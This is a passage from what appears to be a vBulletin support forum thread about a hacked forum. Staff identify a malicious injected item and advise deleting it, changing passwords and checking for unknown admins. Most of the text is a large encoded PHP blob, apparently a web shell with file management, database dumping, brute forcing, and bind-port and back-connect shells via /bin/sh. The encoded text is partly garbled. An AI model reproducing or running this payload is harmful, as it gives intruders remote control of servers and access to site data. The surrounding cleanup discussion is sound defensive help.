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 JyKGh0ADNtbHNwZWNpYWxj9UHiNCkpEVID5PziDVgPoStSAUoh4QaTfSAGsgqBEHRkaXaWoD4Q60Vych+APC9iPjYg B28rEWUCMSgHswNh1EUGhgbGIjJSLxJwbT48AGEgb25fFCdgAvEHvrV4gDKSeFEuc2Z6B3RoaXMuAbJfM3pPQHB0nv ByZXR1cm4gMGN3cFxxYXJlYdUBkHQEAict1CeoYjqwcTtoZWlnaHQAwR7ucHgnXMMq8a+bOoIgPABBN3mhIUqwg4F/oSf4PzyAHUQSv0YYKjJlY2hvIGmwClUW4LpBjvgSM4D9hPVFeGVjdXRlCgQD5iOgHdFmwhcYLz+y/g0ksBbxBbMCMg2AVpVYRm15c3FsScAf4SQdIZMQEpIoIlgkMSCqQgJiLnVz80BXSEVSQIBF9LBuY2F0KGABMWAsICd AJywBCCBgaG9zdGCzoVVTRVLpMEFORCBDIGCTYV9wcml2YEpAJ3knIhASCLH/zQbhQnVgQA1kC0EiPx+jIjAW9SJhb2Oc3yLSZgLzyL4inyKfPjxRMG4+TJ/gIBxxhODGgYElQPQnAbR0b29sc0lupMAToT0bgSWTZjvQbnAY/nV0IAGCG2s+PicYVRgCGjEPkF33JEFc4Cf34A1VGIUIkRLgJBIhAcEUQSenYVUTEic8cHJlgZ4KZG1sMT4nLifvBPF bJwBhm+BCUQMwPr2oOqUJP/0EDwhxPpU7GqAMgAkH1C8/VQl3cwEwb0Zvb3RlcjjAICACMJz1IGFjdAA4aW9uTmV0d29yayFwJrAC4UhlYcgA37AC4gkkZuFfY29ubmVjdF9wPQ AAIkl5RXZkWE55TDJKcGJpOQAAd1pYSnNEUXAxYzJVZ1UyOQAAamEyVjBPdzBLSkdsaFpHUgAAeVBXbHVaWFJmWVhS dmJpZwAAa1FWSkhWbHN3WFNrZ2ZIdwAAZ1pHbGxLQ0pGY25KdmNqbwBIZ0pDRmNiaUlwBEJIQgRDWE52EABZMnQAwl gybHVLQ1JCVWtkVwAAV3pGZExDQWthV0ZrWkhJcAAASUh4OElHUnBaU2dpUlhKeQAAYjNJNklDUWhYRzRpS1RzTgAC Q2lSd2NtOTBiejFuWlgAxDICAEo1Ym1GdANAbmRHTndKeWs3gAANAHpiMk5yWlhRb1UwOURTMAAIVlVMQ0JRUmw5Sl RrAMJUVDAAAE5MWDFOVVVrVkJUU3dnSkhAEEIHAFJ2S1NCOGZDQglAVW9JayACVnkHAHlPaUFrSVZ4dUlpBcJqAABi MjV1WldOMEtGTlBRMHRGOghWQwQCDgIEDzkEDXZjR1Z1A8BVUkUARGxPTENBaVBpWgkCUlZRDoNtOQAad1pXNG9VMV JFVDELAQJPQwJIUhgAVkpTBI8TAG5ONWMzUmxiU2dugEMfBHphQ0F0YVNjGgJZMnh2H4AGghwEU1U0AU4HwReCbU5z YjNObAtDVlNwGFUQgDeBJeBpbmRfcG9yJb8ltm9rVQACMGhGVEV3OUlpOWlhVzQHMGcEBGdMV2tpIjFhV1lnS0VCIP JJRBAAd2dNJXBleUJsZUdsMEtERXANAE95Qjkc8Cn+Yyq0S0ZNc0psQkcOgFgwbE8T8ADAGTJmE7BTUlVGTkxHEBBk bGQdtFlubHVZVzEq8GQwWTMYAEFuSwbALDVJQ0pEWVc1MElHTgC8eVpXRjBaU0IkNFIs8SUyJzABQmIzQMBCH7BNc1 UwOU0kMCA0eFRUMTlTCDlSVlZUB4BFUkZJcwzAA4EPQDVrCoHIAAtDLrFKZhCAb0pFRlNSMVpiTUYAADBzU1U1QlJF UlNYMEZPV1NAEmswuEFpUTJGdWRDQiNySUgAgG6CIAlGc2FYTjAisnl3eie4Z0lrTmgAYGJuUWdiR2x6ZCbwA4wzYU dsc7AIMzB4A0AKQG9KWVdOalpYDYBFTlAEgFRrNHNVNHJvShoAb0lTZ2tjRwAmbGtQV1p2Y21zcANFQ1c6sQoDYjAI bTkTwAICaUlHbG1JQ2cw8FZtYQ4gVzVsWj4wBAEksmdrShQAbGJpQlQAAFZFUkpUaXdpUENaRFQwNU8wAElqKzACC1 BWVlFzSWo0bVEwOQlQT1RpSQrCQ1cx8mceQEUvs0krSmvEAAuCJUJDUWwkAFZqSUNSVFNFVk0g+FRDPTZnY0hKcBGB BQMLwxXAAwJkWFIuwGxJA0VGPvAJBDJ0ZwNCAURaWGhwZEMgDEF3LEFDWDBOQ24wPSJcMFvzIjwUrGgxPlmEIG4iPC 8BIDxdQCCwc1kgdGUCAW50Pg0KCZvDbmFtZT0nbmZwkACUb25TdWJtaXR5UGcoq/EsAFInYg5KcHAnLHhyNyF4oyk7mfpcIgUic3ahQrAAOcAgAqEIICAvYmluL3NoIFtwZRNacmxdeMQ8YpHACCBQPBA6 eZV28id4gSewDniTJwRB+vUnMzEzMzcnPgLqed8FUDz7HamjAKGHog4fDh9jDhWRAHZlcg4zDz8PPwmG03Y3QtWw1V Bu0iAOzxHBU2VyBaAO73QO5QezDwY4ACIu7nCXYCrQWydSRU1PVEVfQUQB80RSJ10gLiIQgBPPE8+m1RPPZT0TzxMh 2NYTwxoAPiVSjcBpc3PYwa8FMYcQKepygOZjAQBmKCRmLCR0AXMkdyA9IEBmbxARcGVuAXEidyIpIG9yASB1bmODYQ C5X2V4aXN0cyiL4l+WgIJRKTFzJ6SGMgB3KYUgAzB3cuAwKCR3LEBiYXNlADA2NF9kZWNvZGUoBsACwkBmY2wu229z AQB3APKKMIpxIAtgsWVwCwDaIScsQQoTgAEK8CIvdG1wL2JwLnBsIiwkKiDIAmTFBHIkb5/QPSB3c29FeCgiK4EgjAADByAiLgXGm3AuIiAxPi9kZXYvgJ8ysSAyPiYxICaxE2VjwSKZoDe0nNEFwQgAXG4iLgXVc yBhdXggfCBncmUnAHAgCRMpLsRwA2AYIiB1bmxpbmso8bsLKQpSDsEOjyAnYiywDo1jDoQqUBbRbpkiBGL/HwjxGvAI5TowDrQDMQ6/D8gzJ10Pzw/PrJkG0Q/P36QPxQchIg/PD8cCE06wHkGuQCBPMyc8qy9yKPNkDeESMCpGqyNSQ6rUE6Ahu1oTMyRhENBhcglCcmF5KLFQInVDsSL/oXBocF8A4ig4eyksAaEBATzgc2lvbgIFAPQCFBUgXwEkAhIIQVdTT188oFNJT04EEnNhZmVtLLCBWQHSQGluaV9nNm AnAXFfAYHDgCAgDFFALiAkcnNlcmlhbGl6LrBhAWEP8P4ndj6gYWzEty8AAhQScQ6AIO+LYTwAICkgIAnAJwGwPbRk ZWZhdWx0XxJDKSDxUBOFOtaeBgHDJyBJUAL8BMBKkFBPU1RbJwXQFBAk1AMCKxsgCQrSIAKMJ1NlY0luZm/LgQjgP0EgIQqvCM9DkAjISWQHgCkNUmNhbGxf7CFPQF8MISgnAr8CsQkgSFB0AHA/Pg=="));
          
          }

          Comment


          • #6
            That second one is the culprit, delete it immediately.
            MARK.B | vBULLETIN SUPPORT

            TalkNewsUK - My vBulletin 5.5.6 Demo
            AdminAmmo - My Cloud Demo

            Comment


            • #7
              Gone.

              Change absolutely every password for admins, FTP etc?

              Comment


              • #8
                Yes. Change all admin passwords, and do the htaccess protection.
                Check for unknown files.
                Might be worth checking everything works on the forum, they sometimes deface obscure templates too.
                Make sure there are no unknown admins, delete any you don't recognise.
                Make sure you have gone through ALL the steps in Wayne's post, failure to cover off everything could leave a hole open and they'll get back in.

                As an aside, I'd also make sure nobody has permissions to post html (moderators and super-moderators). In itself it's not a security risk but if someone got access to such an account there could be trouble.
                MARK.B | vBULLETIN SUPPORT

                TalkNewsUK - My vBulletin 5.5.6 Demo
                AdminAmmo - My Cloud Demo

                Comment


                • #9
                  Thanks Mark.

                  The pop-ups are still happening currently however.

                  Comment


                  • #10
                    Originally posted by Bozza View Post
                    Thanks Mark.

                    The pop-ups are still happening currently however.
                    You need to replace your style with a new default.
                    Translations provided by Google.

                    Wayne Luke
                    The Rabid Badger - a vBulletin Cloud demonstration site.
                    vBulletin 5 API - Full / Mobile
                    Vote for your favorite feature requests and the bugs you want to see fixed.

                    Comment


                    • #11
                      Originally posted by Wayne Luke View Post
                      You need to replace your style with a new default.
                      Are you sure that will be it? I reverted all templates in my style back to their originals, and I was still getting pop-ups.

                      Comment


                      • #12
                        Originally posted by Bozza View Post

                        Are you sure that will be it? I reverted all templates in my style back to their originals, and I was still getting pop-ups.
                        I would suggest raising a support ticket so we can have a look:
                        http://www.vbulletin.com/go/techsupport

                        Please provide admin cp and ftp credentials in the "sensitive data" field.
                        MARK.B | vBULLETIN SUPPORT

                        TalkNewsUK - My vBulletin 5.5.6 Demo
                        AdminAmmo - My Cloud Demo

                        Comment

                        widgetinstance 262 (Related Topics) skipped due to lack of content & hide_module_if_empty option.
                        Working...
                        X